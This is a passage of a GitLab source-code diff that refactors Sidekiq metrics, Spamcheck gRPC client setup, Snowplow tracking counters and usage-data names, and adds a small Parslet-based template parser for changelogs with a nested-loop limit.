+ sidekiq_elasticsearch_requests_duration_seconds: ::Gitlab::Metrics.histogram(:sidekiq_elasticsearch_requests_duration_seconds, 'Duration in seconds that a Sidekiq job spent in requests to an Elasticsearch server', {}, SIDEKIQ_LATENCY_BUCKETS),
+ sidekiq_jobs_failed_total: ::Gitlab::Metrics.counter(:sidekiq_jobs_failed_total, 'Sidekiq jobs failed'),
+ sidekiq_jobs_retried_total: ::Gitlab::Metrics.counter(:sidekiq_jobs_retried_total, 'Sidekiq jobs retried'),
+ sidekiq_redis_requests_total: ::Gitlab::Metrics.counter(:sidekiq_redis_requests_total, 'Redis requests during a Sidekiq job execution'),
+ sidekiq_elasticsearch_requests_total: ::Gitlab::Metrics.counter(:sidekiq_elasticsearch_requests_total, 'Elasticsearch requests during a Sidekiq job execution'),
+ sidekiq_running_jobs: ::Gitlab::Metrics.gauge(:sidekiq_running_jobs, 'Number of Sidekiq jobs running', {}, :all),
+ sidekiq_concurrency: ::Gitlab::Metrics.gauge(:sidekiq_concurrency, 'Maximum number of Sidekiq jobs', {}, :all)
+ }
+ end
+
+ def initialize_process_metrics
+ metrics = self.metrics
+
+ metrics[:sidekiq_concurrency].set({}, Sidekiq.options[:concurrency].to_i)
+
+ return unless ::Feature.enabled?(:sidekiq_job_completion_metric_initialize, default_enabled: :yaml)
- @metrics[:sidekiq_concurrency].set({}, Sidekiq.options[:concurrency].to_i)
+ ::Gitlab::SidekiqConfig.current_worker_queue_mappings.each do |worker, queue|
+ worker_class = worker.safe_constantize
+
+ next unless worker_class
+
+ base_labels = create_labels(worker_class, queue, {})
+
+ %w[done fail].each do |status|
+ metrics[:sidekiq_jobs_completion_seconds].get(base_labels.merge(job_status: status))
+ end
+ end
+ end
+ end
+
+ def initialize
+ @metrics = self.class.metrics
if ::Gitlab::Database::LoadBalancing.enable?
@metrics[:sidekiq_load_balancing_count] = ::Gitlab::Metrics.counter(:sidekiq_load_balancing_count, 'Sidekiq jobs with load balancing')
@@ -74,10 +114,10 @@ module Gitlab
@metrics[:sidekiq_elasticsearch_requests_total].increment(labels, get_elasticsearch_calls(instrumentation))
@metrics[:sidekiq_elasticsearch_requests_duration_seconds].observe(labels, get_elasticsearch_time(instrumentation))
- if ::Gitlab::Database::LoadBalancing.enable? && job[:database_chosen]
+ with_load_balancing_settings(job) do |settings|
load_balancing_labels = {
- database_chosen: job[:database_chosen],
- data_consistency: job[:data_consistency]
+ load_balancing_strategy: settings['load_balancing_strategy'],
+ data_consistency: settings['worker_data_consistency']
}
@metrics[:sidekiq_load_balancing_count].increment(labels.merge(load_balancing_labels), 1)
@@ -85,26 +125,17 @@ module Gitlab
end
end
- def init_metrics
- {
- sidekiq_jobs_cpu_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_cpu_seconds, 'Seconds of cpu time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
- sidekiq_jobs_completion_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_completion_seconds, 'Seconds to complete Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
- sidekiq_jobs_db_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_db_seconds, 'Seconds of database time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
- sidekiq_jobs_gitaly_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_gitaly_seconds, 'Seconds of Gitaly time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
- sidekiq_jobs_queue_duration_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_queue_duration_seconds, 'Duration in seconds that a Sidekiq job was queued before being executed', {}, SIDEKIQ_LATENCY_BUCKETS),
- sidekiq_redis_requests_duration_seconds: ::Gitlab::Metrics.histogram(:sidekiq_redis_requests_duration_seconds, 'Duration in seconds that a Sidekiq job spent requests a Redis server', {}, Gitlab::Instrumentation::Redis::QUERY_TIME_BUCKETS),
- sidekiq_elasticsearch_requests_duration_seconds: ::Gitlab::Metrics.histogram(:sidekiq_elasticsearch_requests_duration_seconds, 'Duration in seconds that a Sidekiq job spent in requests to an Elasticsearch server', {}, SIDEKIQ_LATENCY_BUCKETS),
- sidekiq_jobs_failed_total: ::Gitlab::Metrics.counter(:sidekiq_jobs_failed_total, 'Sidekiq jobs failed'),
- sidekiq_jobs_retried_total: ::Gitlab::Metrics.counter(:sidekiq_jobs_retried_total, 'Sidekiq jobs retried'),
- sidekiq_redis_requests_total: ::Gitlab::Metrics.counter(:sidekiq_redis_requests_total, 'Redis requests during a Sidekiq job execution'),
- sidekiq_elasticsearch_requests_total: ::Gitlab::Metrics.counter(:sidekiq_elasticsearch_requests_total, 'Elasticsearch requests during a Sidekiq job execution'),
- sidekiq_running_jobs: ::Gitlab::Metrics.gauge(:sidekiq_running_jobs, 'Number of Sidekiq jobs running', {}, :all),
- sidekiq_concurrency: ::Gitlab::Metrics.gauge(:sidekiq_concurrency, 'Maximum number of Sidekiq jobs', {}, :all)
- }
- end
-
private
+ def with_load_balancing_settings(job)
+ return unless ::Gitlab::Database::LoadBalancing.enable?
+
+ keys = %w[load_balancing_strategy worker_data_consistency]
+ return unless keys.all? { |k| job.key?(k) }
+
+ yield job.slice(*keys)
+ end
+
def get_thread_cputime
defined?(Process::CLOCK_THREAD_CPUTIME_ID) ? Process.clock_gettime(Process::CLOCK_THREAD_CPUTIME_ID) : 0
end
diff --git a/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb b/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb
index d86f1609f14..b37eeb8bad1 100644
--- a/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb
+++ b/lib/gitlab/sidekiq_middleware/size_limiter/validator.rb
@@ -99,6 +99,10 @@ module Gitlab
return job_args unless compress_mode?
return job_args if job_args.bytesize < @compression_threshold
+ # When a job was scheduled in the future, it runs through the middleware
+ # twice. Once on scheduling and once on queueing. No need to compress twice.
+ return job_args if ::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor.compressed?(@job)
+
::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor.compress(@job, job_args)
end
diff --git a/lib/gitlab/sidekiq_middleware/worker_context/client.rb b/lib/gitlab/sidekiq_middleware/worker_context/client.rb
index 0eb52179db2..1a899b27ea3 100644
--- a/lib/gitlab/sidekiq_middleware/worker_context/client.rb
+++ b/lib/gitlab/sidekiq_middleware/worker_context/client.rb
@@ -15,7 +15,12 @@ module Gitlab
context_for_args = worker_class.context_for_arguments(job['args'])
- wrap_in_optional_context(context_for_args, &block)
+ wrap_in_optional_context(context_for_args) do
+ # This should be inside the context for the arguments so
+ # that we don't override the feature category on the worker
+ # with the one from the caller.
+ Gitlab::ApplicationContext.with_context(feature_category: worker_class.get_feature_category.to_s, &block)
+ end
end
end
end
diff --git a/lib/gitlab/sidekiq_queue.rb b/lib/gitlab/sidekiq_queue.rb
index 4b71dfc0c1b..eb3a8e3d497 100644
--- a/lib/gitlab/sidekiq_queue.rb
+++ b/lib/gitlab/sidekiq_queue.rb
@@ -14,7 +14,7 @@ module Gitlab
end
def drop_jobs!(search_metadata, timeout:)
- start_time = Gitlab::Metrics::System.monotonic_time
+ start_time = monotonic_time
completed = true
deleted_jobs = 0
@@ -62,7 +62,11 @@ module Gitlab
end
def timeout_exceeded?(start_time, timeout)
- (Gitlab::Metrics::System.monotonic_time - start_time) > timeout
+ (monotonic_time - start_time) > timeout
+ end
+
+ def monotonic_time
+ Gitlab::Metrics::System.monotonic_time
end
end
end
diff --git a/lib/gitlab/slash_commands/issue_new.rb b/lib/gitlab/slash_commands/issue_new.rb
index 99a056c97fc..fab016d2e1b 100644
--- a/lib/gitlab/slash_commands/issue_new.rb
+++ b/lib/gitlab/slash_commands/issue_new.rb
@@ -33,7 +33,7 @@ module Gitlab
private
def create_issue(title:, description:)
- Issues::CreateService.new(project: project, current_user: current_user, params: { title: title, description: description }).execute
+ Issues::CreateService.new(project: project, current_user: current_user, params: { title: title, description: description }, spam_params: nil).execute
end
def presenter(issue)
diff --git a/lib/gitlab/spamcheck/client.rb b/lib/gitlab/spamcheck/client.rb
index 6afc21be4e0..df6d3eb7d0a 100644
--- a/lib/gitlab/spamcheck/client.rb
+++ b/lib/gitlab/spamcheck/client.rb
@@ -27,21 +27,18 @@ module Gitlab
# connect with Spamcheck
@endpoint_url = @endpoint_url.gsub(%r(^grpc:\/\/), '')
- creds =
+ @creds =
if Rails.env.development? || Rails.env.test?
:this_channel_is_insecure
else
GRPC::Core::ChannelCredentials.new
end
-
- @stub = ::Spamcheck::SpamcheckService::Stub.new(@endpoint_url, creds,
- timeout: DEFAULT_TIMEOUT_SECS)
end
def issue_spam?(spam_issue:, user:, context: {})
issue = build_issue_protobuf(issue: spam_issue, user: user, context: context)
- response = @stub.check_for_spam_issue(issue,
+ response = grpc_client.check_for_spam_issue(issue,
metadata: { 'authorization' =>
Gitlab::CurrentSettings.spam_check_api_key })
verdict = convert_verdict_to_gitlab_constant(response.verdict)
@@ -100,6 +97,16 @@ module Gitlab
Google::Protobuf::Timestamp.new(seconds: ar_timestamp.to_time.to_i,
nanos: ar_timestamp.to_time.nsec)
end
+
+ def grpc_client
+ @grpc_client ||= ::Spamcheck::SpamcheckService::Stub.new(@endpoint_url, @creds,
+ interceptors: interceptors,
+ timeout: DEFAULT_TIMEOUT_SECS)
+ end
+
+ def interceptors
+ [Labkit::Correlation::GRPC::ClientInterceptor.instance]
+ end
end
end
end
diff --git a/lib/gitlab/template/gitlab_ci_yml_template.rb b/lib/gitlab/template/gitlab_ci_yml_template.rb
index e302865c897..da925f0f83a 100644
--- a/lib/gitlab/template/gitlab_ci_yml_template.rb
+++ b/lib/gitlab/template/gitlab_ci_yml_template.rb
@@ -92,4 +92,4 @@ module Gitlab
end
end
-Gitlab::Template::GitlabCiYmlTemplate.prepend_mod_with('Gitlab::Template::GitlabCiYmlTemplate')
+Gitlab::Template::GitlabCiYmlTemplate.prepend_mod
diff --git a/lib/gitlab/template_parser/ast.rb b/lib/gitlab/template_parser/ast.rb
new file mode 100644
index 00000000000..89318ee0d68
--- /dev/null
+++ b/lib/gitlab/template_parser/ast.rb
@@ -0,0 +1,157 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module TemplateParser
+ # AST nodes to evaluate when rendering a template.
+ #
+ # Evaluating an AST is done by walking over the nodes and calling
+ # `evaluate`. This method takes two arguments:
+ #
+ # 1. An instance of `EvalState`, used for tracking data such as the number
+ # of nested loops.
+ # 2. An object used as the data for the current scope. This can be an Array,
+ # Hash, String, or something else. It's up to the AST node to determine
+ # what to do with it.
+ #
+ # While tree walking interpreters (such as implemented here) aren't usually
+ # the fastest type of interpreter, they are:
+ #
+ # 1. Fast enough for our use case
+ # 2. Easy to implement and maintain
+ #
+ # In addition, our AST interpreter doesn't allow for arbitrary code
+ # execution, unlike existing template engines such as Mustache
+ # (https://github.com/mustache/mustache/issues/244) or ERB.
+ #
+ # Our interpreter also takes care of limiting the number of nested loops.
+ # And unlike Liquid, our interpreter is much smaller and thus has a smaller
+ # attack surface. Liquid isn't without its share of issues, such as
+ # https://github.com/Shopify/liquid/pull/1071.
+ #
+ # We also evaluated using Handlebars using the project
+ # https://github.com/SmartBear/ruby-handlebars. Sadly, this implementation
+ # of Handlebars doesn't support control of whitespace
+ # (https://github.com/SmartBear/ruby-handlebars/issues/37), and the project
+ # didn't appear to be maintained that much.
+ #
+ # This doesn't mean these template engines aren't good, instead it means
+ # they won't work for our use case. For more information, refer to the
+ # comment https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50063#note_469293322.
+ module AST
+ # An identifier in a selector.
+ Identifier = Struct.new(:name) do
+ def evaluate(state, data)
+ return data if name == 'it'
+
+ data[name] if data.is_a?(Hash)
+ end
+ end
+
+ # An integer used in a selector.
+ Integer = Struct.new(:value) do
+ def evaluate(state, data)
+ data[value] if data.is_a?(Array)
+ end
+ end
+
+ # A selector used for loading a value.
+ Selector = Struct.new(:steps) do
+ def evaluate(state, data)
+ steps.reduce(data) do |current, step|
+ break if current.nil?
+
+ step.evaluate(state, current)
+ end
+ end
+ end
+
+ # A tag used for displaying a value in the output.
+ Variable = Struct.new(:selector) do
+ def evaluate(state, data)
+ selector.evaluate(state, data).to_s
+ end
+ end
+
+ # A collection of zero or more expressions.
+ Expressions = Struct.new(:nodes) do
+ def evaluate(state, data)
+ nodes.map { |node| node.evaluate(state, data) }.join('')
+ end
+ end
+
+ # A single text node.
+ Text = Struct.new(:text) do
+ def evaluate(*)
+ text
+ end
+ end
+
+ # An `if` expression, with an optional `else` clause.
+ If = Struct.new(:condition, :true_body, :false_body) do
+ def evaluate(state, data)
+ result =
+ if truthy?(condition.evaluate(state, data))
+ true_body.evaluate(state, data)
+ elsif false_body
+ false_body.evaluate(state, data)
+ end
+
+ result.to_s
+ end
+
+ def truthy?(value)
+ # We treat empty collections and such as false, removing the need for
+ # some sort of `if length(x) > 0` expression.
+ value.respond_to?(:empty?) ? !value.empty? : !!value
+ end
+ end
+
+ # An `each` expression.
+ Each = Struct.new(:collection, :body) do
+ def evaluate(state, data)
+ values = collection.evaluate(state, data)
+
+ return '' unless values.respond_to?(:each)
+
+ # While unlikely to happen, it's possible users attempt to nest many
+ # loops in order to negatively impact the GitLab instance. To make
+ # this more difficult, we limit the number of nested loops a user can
+ # create.
+ state.enter_loop do
+ values.map { |value| body.evaluate(state, value) }.join('')
+ end
+ end
+ end
+
+ # A class for transforming a raw Parslet AST into a more structured/easier
+ # to work with AST.
+ #
+ # For more information about Parslet transformations, refer to the
+ # documentation at http://kschiess.github.io/parslet/transform.html.
+ class Transformer < Parslet::Transform
+ rule(ident: simple(:name)) { Identifier.new(name.to_s) }
+ rule(int: simple(:name)) { Integer.new(name.to_i) }
+ rule(text: simple(:text)) { Text.new(text.to_s) }
+ rule(exprs: subtree(:nodes)) { Expressions.new(nodes) }
+ rule(selector: sequence(:steps)) { Selector.new(steps) }
+ rule(selector: simple(:step)) { Selector.new([step]) }
+ rule(variable: simple(:selector)) { Variable.new(selector) }
+ rule(each: simple(:values), body: simple(:body)) do
+ Each.new(values, body)
+ end
+
+ rule(if: simple(:cond), true_body: simple(:true_body)) do
+ If.new(cond, true_body)
+ end
+
+ rule(
+ if: simple(:cond),
+ true_body: simple(:true_body),
+ false_body: simple(:false_body)
+ ) do
+ If.new(cond, true_body, false_body)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/template_parser/error.rb b/lib/gitlab/template_parser/error.rb
new file mode 100644
index 00000000000..1dcde448749
--- /dev/null
+++ b/lib/gitlab/template_parser/error.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module TemplateParser
+ # An error raised when a template couldn't be rendered.
+ Error = Class.new(StandardError)
+ end
+end
diff --git a/lib/gitlab/template_parser/eval_state.rb b/lib/gitlab/template_parser/eval_state.rb
new file mode 100644
index 00000000000..7cf2ab21f50
--- /dev/null
+++ b/lib/gitlab/template_parser/eval_state.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module TemplateParser
+ # A class for tracking state when evaluating a template
+ class EvalState
+ MAX_LOOPS = 4
+
+ def initialize
+ @loops = 0
+ end
+
+ def enter_loop
+ if @loops == MAX_LOOPS
+ raise Error, "You can only nest up to #{MAX_LOOPS} loops"
+ end
+
+ @loops += 1
+ retval = yield
+ @loops -= 1
+
+ retval
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/template_parser/parser.rb b/lib/gitlab/template_parser/parser.rb
new file mode 100644
index 00000000000..157339414c4
--- /dev/null
+++ b/lib/gitlab/template_parser/parser.rb
@@ -0,0 +1,176 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module TemplateParser
+ # A parser for a simple template syntax, used for example to generate changelogs.
+ #
+ # As a quick primer on the template syntax, a basic template looks like
+ # this:
+ #
+ # {% each users %}
+ # Name: {{name}}
+ # Age: {{age}}
+ #
+ # {% if birthday %}
+ # This user is celebrating their birthday today! Yay!
+ # {% end %}
+ # {% end %}
+ #
+ # For more information, refer to the Parslet documentation found at
+ # http://kschiess.github.io/parslet/.
+ class Parser < Parslet::Parser
+ root(:exprs)
+
+ rule(:exprs) do
+ (
+ variable | if_expr | each_expr | escaped | text | newline
+ ).repeat.as(:exprs)
+ end
+
+ rule(:space) { match('[ \\t]') }
+ rule(:whitespace) { match('\s').repeat }
+ rule(:lf) { str("\n") }
+ rule(:newline) { lf.as(:text) }
+
+ # Escaped newlines are ignored, allowing the user to control the
+ # whitespace in the output. All other escape sequences are treated as
+ # literal text.
+ #
+ # For example, this:
+ #
+ # foo \
+ # bar
+ #
+ # Is parsed into this:
+ #
+ # foo bar
+ rule(:escaped) do
+ backslash = str('\\')
+
+ (backslash >> lf).ignore | (backslash >> chars).as(:text)
+ end
+
+ # A sequence of regular characters, with the exception of newlines and
+ # escaped newlines.
+ rule(:chars) do
+ char = match("[^{\\\\\n]")
+
+ # The rules here are such that we do treat single curly braces or
+ # non-opening tags (e.g. `{foo}`) as text, but not opening tags
+ # themselves (e.g. `{{`).
+ (
+ char.repeat(1) | curly_open >> (curly_open | percent).absent?
+ ).repeat(1)
+ end
+
+ rule(:text) { chars.as(:text) }
+
+ # An integer, limited to 10 digits (= a 32 bits integer).
+ #
+ # The size is limited to prevents users from creating integers that are
+ # too large, as this may result in runtime errors.
+ rule(:integer) { match('\d').repeat(1, 10).as(:int) }
+
+ # An identifier to look up in a data structure.
+ #
+ # We only support simple ASCII identifiers as we simply don't have a need
+ # for more complex identifiers (e.g. those containing multibyte
+ # characters).
+ rule(:ident) { match('[a-zA-Z_]').repeat(1).as(:ident) }
+
+ # A selector is used for reading a value, consisting of one or more
+ # "steps".
+ #
+ # Examples:
+ #
+ # name
+ # users.0.name
+ # 0
+ # it
+ rule(:selector) do
+ step = ident | integer
+
+ whitespace >>
+ (step >> (str('.') >> step).repeat).as(:selector) >>
+ whitespace
+ end
+
+ rule(:curly_open) { str('{') }
+ rule(:curly_close) { str('}') }
+ rule(:percent) { str('%') }
+
+ # A variable tag.
+ #
+ # Examples:
+ #
+ # {{name}}
+ # {{users.0.name}}
+ rule(:variable) do
+ curly_open.repeat(2) >> selector.as(:variable) >> curly_close.repeat(2)
+ end
+
+ rule(:expr_open) { curly_open >> percent >> whitespace }
+ rule(:expr_close) do
+ # Since whitespace control is important (as Markdown is whitespace
+ # sensitive), we default to stripping a newline that follows a %} tag.
+ # This is less annoying compared to having to opt-in to this behaviour.
+ whitespace >> percent >> curly_close >> lf.maybe.ignore
+ end
+
+ rule(:end_tag) { expr_open >> str('end') >> expr_close }
+
+ # An `if` expression, with an optional `else` clause.
+ #
+ # Examples:
+ #
+ # {% if foo %}
+ # yes
+ # {% end %}
+ #
+ # {% if foo %}
+ # yes
+ # {% else %}
+ # no
+ # {% end %}
+ rule(:if_expr) do
+ else_tag =
+ expr_open >> str('else') >> expr_close >> exprs.as(:false_body)
+
+ expr_open >>
+ str('if') >>
+ space.repeat(1) >>
+ selector.as(:if) >>
+ expr_close >>
+ exprs.as(:true_body) >>
+ else_tag.maybe >>
+ end_tag
+ end
+
+ # An `each` expression, used for iterating over collections.
+ #
+ # Example:
+ #
+ # {% each users %}
+ # * {{name}}
+ # {% end %}
+ rule(:each_expr) do
+ expr_open >>
+ str('each') >>
+ space.repeat(1) >>
+ selector.as(:each) >>
+ expr_close >>
+ exprs.as(:body) >>
+ end_tag
+ end
+
+ def parse_and_transform(input)
+ AST::Transformer.new.apply(parse(input))
+ rescue Parslet::ParseFailed => ex
+ # We raise a custom error so it's easier to catch different parser
+ # related errors. In addition, this ensures the caller of this method
+ # doesn't depend on a Parslet specific error class.
+ raise Error, "Failed to parse the template: #{ex.message}"
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
index e548532e061..07a53b0892b 100644
--- a/lib/gitlab/tracking/destinations/snowplow.rb
+++ b/lib/gitlab/tracking/destinations/snowplow.rb
@@ -13,12 +13,13 @@ module Gitlab
return unless enabled?
tracker.track_struct_event(category, action, label, property, value, context, (Time.now.to_f * 1000).to_i)
+ increment_total_events_counter
end
private
def enabled?
- Gitlab::CurrentSettings.snowplow_enabled?
+ Gitlab::Tracking.enabled?
end
def tracker
@@ -33,9 +34,46 @@ module Gitlab
def emitter
SnowplowTracker::AsyncEmitter.new(
Gitlab::CurrentSettings.snowplow_collector_hostname,
- protocol: 'https'
+ protocol: 'https',
+ on_success: method(:increment_successful_events_emissions),
+ on_failure: method(:failure_callback)
)
end
+
+ def failure_callback(success_count, failures)
+ increment_successful_events_emissions(success_count)
+ increment_failed_events_emissions(failures.size)
+ log_failures(failures)
+ end
+
+ def increment_failed_events_emissions(value)
+ Gitlab::Metrics.counter(
+ :gitlab_snowplow_failed_events_total,
+ 'Number of failed Snowplow events emissions'
+ ).increment({}, value.to_i)
+ end
+
+ def increment_successful_events_emissions(value)
+ Gitlab::Metrics.counter(
+ :gitlab_snowplow_successful_events_total,
+ 'Number of successful Snowplow events emissions'
+ ).increment({}, value.to_i)
+ end
+
+ def increment_total_events_counter
+ Gitlab::Metrics.counter(
+ :gitlab_snowplow_events_total,
+ 'Number of Snowplow events'
+ ).increment
+ end
+
+ def log_failures(failures)
+ hostname = Gitlab::CurrentSettings.snowplow_collector_hostname
+
+ failures.each do |failure|
+ Gitlab::AppLogger.error("#{failure["se_ca"]} #{failure["se_ac"]} failed to be reported to collector at #{hostname}")
+ end
+ end
end
end
end
diff --git a/lib/gitlab/tracking/helpers.rb b/lib/gitlab/tracking/helpers.rb
new file mode 100644
index 00000000000..bf3cefb736c
--- /dev/null
+++ b/lib/gitlab/tracking/helpers.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Tracking
+ module Helpers
+ def dnt_enabled?
+ Gitlab::Utils.to_boolean(request.headers['DNT'])
+ end
+
+ def trackable_html_request?
+ request.format.html? && !dnt_enabled?
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage/docs/helper.rb b/lib/gitlab/usage/docs/helper.rb
index c2e5d467dbb..bfe674b945e 100644
--- a/lib/gitlab/usage/docs/helper.rb
+++ b/lib/gitlab/usage/docs/helper.rb
@@ -51,6 +51,10 @@ module Gitlab
"Tiers:#{format(:tier, object[:tier])}"
end
+ def render_data_category(object)
+ "Data Category: `#{object[:data_category]}`"
+ end
+
def format(key, value)
Gitlab::Usage::Docs::ValueFormatter.format(key, value)
end
diff --git a/lib/gitlab/usage/docs/templates/default.md.haml b/lib/gitlab/usage/docs/templates/default.md.haml
index 8911ac2ed1a..83a3a5b6698 100644
--- a/lib/gitlab/usage/docs/templates/default.md.haml
+++ b/lib/gitlab/usage/docs/templates/default.md.haml
@@ -38,6 +38,9 @@
= render_yaml_link(object.yaml_path)
\
= render_owner(object.attributes)
+ - if object.attributes[:data_category].present?
+ \
+ = render_data_category(object.attributes)
\
= render_status(object.attributes)
\
diff --git a/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric.rb b/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric.rb
new file mode 100644
index 00000000000..dd1f9948815
--- /dev/null
+++ b/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class CollectedDataCategoriesMetric < GenericMetric
+ def value
+ ::ServicePing::PermitDataCategoriesService.new.execute
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage/metrics/instrumentations/database_metric.rb b/lib/gitlab/usage/metrics/instrumentations/database_metric.rb
index 69a288e5b6e..7b3a545185b 100644
--- a/lib/gitlab/usage/metrics/instrumentations/database_metric.rb
+++ b/lib/gitlab/usage/metrics/instrumentations/database_metric.rb
@@ -16,14 +16,20 @@ module Gitlab
# end
class << self
def start(&block)
+ return @metric_start&.call unless block_given?
+
@metric_start = block
end
def finish(&block)
+ return @metric_finish&.call unless block_given?
+
@metric_finish = block
end
def relation(&block)
+ return @metric_relation&.call unless block_given?
+
@metric_relation = block
end
@@ -32,15 +38,21 @@ module Gitlab
@column = column
end
- attr_reader :metric_operation, :metric_relation, :metric_start, :metric_finish, :column
+ def cache_start_and_finish_as(cache_key)
+ @cache_key = cache_key
+ end
+
+ attr_reader :metric_operation, :metric_relation, :metric_start, :metric_finish, :column, :cache_key
end
def value
+ start, finish = get_or_cache_batch_ids
+
method(self.class.metric_operation)
.call(relation,
self.class.column,
- start: self.class.metric_start&.call,
- finish: self.class.metric_finish&.call)
+ start: start,
+ finish: finish)
end
def to_sql
@@ -73,6 +85,22 @@ module Gitlab
raise "Unknown time frame: #{time_frame} for DatabaseMetric"
end
end
+
+ def get_or_cache_batch_ids
+ return [self.class.start, self.class.finish] unless self.class.cache_key.present?
+
+ key_name = "metric_instrumentation/#{self.class.cache_key}"
+
+ start = Gitlab::Cache.fetch_once("#{key_name}_minimum_id", expires_in: 1.day) do
+ self.class.start
+ end
+
+ finish = Gitlab::Cache.fetch_once("#{key_name}_maximum_id", expires_in: 1.day) do
+ self.class.finish
+ end
+
+ [start, finish]
+ end
end
end
end
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index 415a5bff261..aabc706901e 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -256,7 +256,8 @@ module Gitlab
settings: {
ldap_encrypted_secrets_enabled: alt_usage_data(fallback: nil) { Gitlab::Auth::Ldap::Config.encrypted_secrets.active? },
operating_system: alt_usage_data(fallback: nil) { operating_system },
- gitaly_apdex: alt_usage_data { gitaly_apdex }
+ gitaly_apdex: alt_usage_data { gitaly_apdex },
+ collected_data_categories: alt_usage_data(fallback: []) { Gitlab::Usage::Metrics::Instrumentations::CollectedDataCategoriesMetric.new(time_frame: 'none').value }
}
}
end
@@ -403,7 +404,7 @@ module Gitlab
def services_usage
# rubocop: disable UsageData/LargeTable:
- Integration.available_services_names(include_dev: false).each_with_object({}) do |name, response|
+ Integration.available_integration_names(include_dev: false).each_with_object({}) do |name, response|
type = Integration.integration_name_to_type(name)
response[:"projects_#{name}_active"] = count(Integration.active.where.not(project: nil).where(type: type))
@@ -426,9 +427,9 @@ module Gitlab
projects_jira_dvcs_server_active: count(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: false))
}
- jira_service_data_hash = jira_service_data
- results[:projects_jira_server_active] = jira_service_data_hash[:projects_jira_server_active]
- results[:projects_jira_cloud_active] = jira_service_data_hash[:projects_jira_cloud_active]
+ jira_integration_data_hash = jira_integration_data
+ results[:projects_jira_server_active] = jira_integration_data_hash[:projects_jira_server_active]
+ results[:projects_jira_cloud_active] = jira_integration_data_hash[:projects_jira_cloud_active]
results
rescue ActiveRecord::StatementInvalid
@@ -650,9 +651,9 @@ module Gitlab
todos: distinct_count(::Todo.where(time_period), :author_id),
service_desk_enabled_projects: distinct_count_service_desk_enabled_projects(time_period),
service_desk_issues: count(::Issue.service_desk.where(time_period)),
- projects_jira_active: distinct_count(::Project.with_active_jira_services.where(time_period), :creator_id),
- projects_jira_dvcs_cloud_active: distinct_count(::Project.with_active_jira_services.with_jira_dvcs_cloud.where(time_period), :creator_id),
- projects_jira_dvcs_server_active: distinct_count(::Project.with_active_jira_services.with_jira_dvcs_server.where(time_period), :creator_id)
+ projects_jira_active: distinct_count(::Project.with_active_jira_integrations.where(time_period), :creator_id),
+ projects_jira_dvcs_cloud_active: distinct_count(::Project.with_active_jira_integrations.with_jira_dvcs_cloud.where(time_period), :creator_id),
+ projects_jira_dvcs_server_active: distinct_count(::Project.with_active_jira_integrations.with_jira_dvcs_server.where(time_period), :creator_id)
}
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/usage_data_counters/counter_events/package_events.yml b/lib/gitlab/usage_data_counters/counter_events/package_events.yml
index c72f487a442..21d637e7152 100644
--- a/lib/gitlab/usage_data_counters/counter_events/package_events.yml
+++ b/lib/gitlab/usage_data_counters/counter_events/package_events.yml
@@ -22,6 +22,7 @@
- i_package_golang_pull_package
- i_package_golang_push_package
- i_package_helm_pull_package
+- i_package_helm_push_package
- i_package_maven_delete_package
- i_package_maven_pull_package
- i_package_maven_push_package
@@ -31,14 +32,24 @@
- i_package_nuget_delete_package
- i_package_nuget_pull_package
- i_package_nuget_push_package
+- i_package_nuget_pull_symbol_package
+- i_package_nuget_push_symbol_package
- i_package_pull_package
- i_package_pull_package_by_deploy_token
- i_package_pull_package_by_guest
- i_package_pull_package_by_user
+- i_package_pull_symbol_package
+- i_package_pull_symbol_package_by_deploy_token
+- i_package_pull_symbol_package_by_guest
+- i_package_pull_symbol_package_by_user
- i_package_push_package
- i_package_push_package_by_deploy_token
- i_package_push_package_by_guest
- i_package_push_package_by_user
+- i_package_push_symbol_package
+- i_package_push_symbol_package_by_deploy_token
+- i_package_push_symbol_package_by_guest
+- i_package_push_symbol_package_by_user
- i_package_pypi_delete_package
- i_package_pypi_pull_package
- i_package_pypi_push_package
diff --git a/lib/gitlab/usage_data_counters/hll_redis_counter.rb b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
index 2a231f8fce0..597df9936ea 100644
--- a/lib/gitlab/usage_data_counters/hll_redis_counter.rb
+++ b/lib/gitlab/usage_data_counters/hll_redis_counter.rb
@@ -117,7 +117,7 @@ module Gitlab
private
def track(values, event_name, context: '', time: Time.zone.now)
- return unless Gitlab::CurrentSettings.usage_ping_enabled?
+ return unless usage_ping_enabled?
event = event_for(event_name)
Gitlab::ErrorTracking.track_and_raise_for_dev_exception(UnknownEvent.new("Unknown event #{event_name}")) unless event.present?
